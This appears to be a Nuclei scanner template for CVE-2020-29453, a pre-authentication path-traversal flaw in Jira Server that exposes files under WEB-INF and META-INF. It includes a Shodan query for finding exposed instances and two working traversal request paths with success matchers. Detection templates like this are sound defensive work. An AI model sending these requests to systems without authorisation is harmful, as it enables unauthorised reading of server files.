id: CVE-2020-29453 info: name: Jira Server Pre-Auth - Arbitrary File Retrieval (WEB-INF, META-INF) author: dwisiswant0 severity: medium description: The CachingResourceDownloadRewriteRule class in Jira Server and Jira Data Center allowed unauthenticated remote attackers to read arbitrary files within WEB-INF and META-INF directories via an incorrect path access check. remediation: | Apply the necessary patches or updates provided by Atlassian to fix the vulnerability. reference: - https://jira.atlassian.com/browse/JRASERVER-72014 - https://nvd.nist.gov/vuln/detail/CVE-2020-29453 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2020-29453 cwe-id: CWE-22 epss-score: 0.01454 epss-percentile: 0.85213 cpe: cpe:2.3:a:atlassian:data_center:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: atlassian product: data_center shodan-query: http.component:"Atlassian Jira" tags: cve,cve2020,atlassian,jira,lfi,intrusive http: - method: GET path: - "{{BaseURL}}/s/{{randstr}}/_/%2e/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml" - "{{BaseURL}}/s/{{randstr}}/_/%2e/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml" matchers-condition: and matchers: - type: word part: body words: - com.atlassian.jira - type: status status: - 200 # digest: 4b0a00483046022100bbbf58a4f6f45f848832e1819245388992308d616a732fc7ad3b18075951515e0221009b2c58ee9612174ba1fabedfcd66dd61f4294c9901841f2d1b0d8d0d0f3279bb:922c64590222798bb761d5b6d8e72950